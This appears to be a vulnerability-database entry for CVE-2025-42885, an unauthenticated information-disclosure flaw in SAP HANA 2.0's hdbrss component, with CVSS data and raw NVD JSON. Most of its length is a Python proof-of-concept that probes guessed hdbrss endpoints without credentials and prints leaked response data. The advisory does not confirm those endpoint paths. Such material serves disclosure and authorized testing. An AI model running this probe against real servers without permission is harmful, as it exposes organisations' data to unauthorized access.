Security Vulnerability Report
中文
CVE-2025-42885 CVSS 5.8 MEDIUM

CVE-2025-42885

Published: 2025-11-11 01:15:37
Last Modified: 2026-04-15 00:35:42

Description

Due to missing authentication, SAP HANA 2.0 (hdbrss) allows an unauthenticated attacker to call a remote-enabled function that will enable them to view information. As a result, it has a low impact on the confidentiality but no impact on the integrity and availability of the system.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

SAP HANA 2.0 所有版本(hdbrss组件)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-42885 SAP HANA hdbrss Authentication Bypass PoC # Target: SAP HANA 2.0 with vulnerable hdbrss component # Note: This is for educational and authorized testing purposes only import requests import sys def check_vulnerability(target_url): """Check if target is vulnerable to CVE-2025-42885""" # Common hdbrss endpoints endpoints = [ "/sap/hana/xs/dt/base/server/hdbrss.xsodata", "/sap/hana/xs/dt/base/server/hdbrss/", "/hdbrss/api/v1/subscriptions", "/sap/hana/democontent/epm/services/hdbrss.xsodata" ] print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2025-42885 - SAP HANA hdbrss Missing Authentication\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Attempt to access without authentication headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Accept': 'application/json, application/xml' } response = requests.get(url, headers=headers, timeout=10, verify=False) print(f"[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") # Check if we can access subscription data if response.status_code == 200: content = response.text if any(keyword in content.lower() for keyword in ['subscription', 'datasource', 'schema', 'table']): print(f" [!] VULNERABLE - Information disclosure possible") print(f" Response preview: {content[:200]}...") return True elif response.status_code == 401 or response.status_code == 403: print(f" [-] Protected - Authentication required") else: print(f" [-] Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error accessing {endpoint}: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2025-42885.py <target_url>") print("Example: python cve-2025-42885.py https://sap-hana-server:4300") sys.exit(1) target = sys.argv[1] result = check_vulnerability(target) if result: print("\n[!] Target appears to be vulnerable to CVE-2025-42885") else: print("\n[-] Target does not appear to be vulnerable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-42885", "sourceIdentifier": "[email protected]", "published": "2025-11-11T01:15:37.050", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Due to missing authentication, SAP HANA 2.0 (hdbrss) allows an unauthenticated attacker to call a remote-enabled function that will enable them to view information. As a result, it has a low impact on the confidentiality but no impact on the integrity and availability of the system."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "references": [{"url": "https://me.sap.com/notes/3639264", "source": "[email protected]"}, {"url": "https://url.sap/sapsecuritypatchday", "source": "[email protected]"}]}}